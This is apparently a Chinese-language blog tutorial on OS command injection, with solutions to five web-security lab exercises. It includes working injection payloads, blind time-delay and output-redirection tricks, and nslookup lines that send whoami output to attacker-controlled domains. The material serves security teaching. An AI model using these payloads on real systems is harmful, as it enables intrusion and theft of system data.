1. 什麼是作業系統指令注入
攻擊者可在伺服器端執行任意系統(OS)指令,擷取敏感資料。通常攻擊者會嘗試利用系統内部的信任關系,将攻擊轉移到系統内的其他系統,擷取更大權限。
2. 攻擊流程解析
以電商網站為例,經常有查詢庫存餘量的功能,URL如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
背景在處理此URL時,調用庫存查詢接口,由于曆史原因,接口往往需要使用shell指令調用其他系統子產品。類似如下指令
stockreport.pl 381 29
.pl 是perl語言源程式檔案的擴充名,參數值将作為參數傳入該“腳本”進行調用庫存餘量查詢。
如果将該腳本參數改為如下
stockreport.pl & echo aiwefwlguh & 29
&為系統指令分隔符,會将上述一條指令差分為3條系統指令,顯示結果如下:
Error - productID was not provided (stockreport.pl未得到有效參數,報錯)
aiwefwlguh(echo指令執行)
29: command not found (系統無法辨識的指令)
例題 1
3. 常用指令
發現漏洞後,應執行一些基礎指令,檢視相關系統資訊。
目标 Linux Windows
目前使用者名 whoami whoami
作業系統 uname -a ver
網絡配置 ifconfig ipconfig /all
網絡連接配接狀态 netstat -an netstat -an
運作程序 ps -ef tasklist
4. 指令注入盲注漏洞
有些指令注入指令,不會随響應包響應任何結果。如回報資訊頁,當使用者完成了回報,點選送出後。系統允許會生成如下郵件指令發送給管理者
mail -s "This site is great" -aFrom:[email protected] [email protected]
這個指令就算存在的指令注入漏洞,但是在使用者web端不會有任何回顯。
但我們可以嘗試以下方式進行測試漏洞是否存在
利用時間延遲測試漏洞存在
& ping -c 10 127.0.0.1 &
系統若存在漏洞,将會發起10次ping指令,導緻響應時間延遲。
例題2
利用輸出重定向來擷取結果
& whoami > /var/www/static/whoami.txt &
若指令執行成功,指令執行結果将會寫入路徑下的whoami.txt檔案中。若能成功讀取該檔案,就能擷取結果。
例題3
利用帶外技術(OAST)擷取結果
& nslookup kgji2ohoyw.web-attacker.com &
& nslookup whoami.kgji2ohoyw.web-attacker.com &
使用指令nslookup來發起DNS對特定域名(攻擊者控制的域名)的查詢。通過查詢通路記錄擷取結果
例題4、5
5. 常用注入操作符
window與類linux系統通用
&
&&
|
||
類linux專用
;
0x0a or \n (換新行)
類linux行内指令執行
command
$(command)
注意:指令注入要注意是否有引号等包裹,注意閉合後溢出,指令才能執行
6. 漏洞執行個體
1. 作業系統指令注入,簡單案例 (OS command injection, simple case)
目标
在檢視庫存量功能處存在指令執行漏洞。執行whoami指令回顯目前使用者
解題詳情
productId=1&storeId=1|ps%20-ef
productId=1&storeId=1|whoami
productId=1&storeId=1;whoami
2. 帶有時延的作業系統指令盲注入 (Blind OS command injection with time delays)
目标
在問題回報功能處存在盲注指令執行漏洞,執行盲注導緻10s延遲
解題詳情
name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs
name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs
3. 帶有輸出重定向的盲注作業系統指令注入(Blind OS command injection with output redirection)
目标
在問題回報功能處存在盲注指令執行漏洞,執行whoami指令,将結果輸出重定向到/var/www/images/,擷取結果。
解題詳情
POST /feedback/submit HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
csrf=f29VvEikq8kD255HWZvBLeu18JAX33Ei&name=1&email=123%40123.com||whoami%20>%20/var/www/images/result.txt||&subject=123&message=hello
GET /image?filename=result.txt HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
Cookie: session=TekRg9mt7CtTUqeyrHh8toH3lyZiUXTu
4. 帶外互動的盲注作業系統指令注入 (Blind OS command injection with out-of-band interaction)
目标
在問題回報功能處存在盲注指令執行漏洞,利用Burp Collaborator執行DNS lookup指令
解題詳情
POST /feedback/submit HTTP/1.1
Host: acc91f7c1e635f04c0c01cc100fa0054.web-security-academy.net
csrf=hLmRCnMINZA3RlaRBGIx6djbKV0t5911&name=2&email=123%40123.com||nslookup%20xxy8f3kz49690drczkiwx10zbqhg55.burpcollaborator.net||&subject=2&message=hello
5. 帶外資料外洩的盲注作業系統指令注入(Blind OS command injection with out-of-band data exfiltration)
目标
在問題回報功能處存在盲注指令執行漏洞,利用OAST技術擷取目前使用者名資訊并送出。
解題詳情
POST /feedback/submit HTTP/1.1
Host: aca51fa91ec5cbaec0d2294d00f300a8.web-security-academy.net
csrf=mJQ6zYNSkbeEGecCkoqfLemDT8pQeklX&name=3&email=123%40123.com||nslookup%20`whoami`.okcz2u7qr0t0n4e3mb5nksnqyh48sx.burpcollaborator.net||&subject=3&message=hello
文章知識點與官方知識檔案比對,可進一步學習相關知識
————————————————
版權聲明:本文為CSDN部落客「Eason_LYC」的原創文章,遵循CC 4.0 BY-SA版權協定,轉載請附上原文出處連結及本聲明。
原文連結:https://blog.csdn.net/eason612/article/details/125150098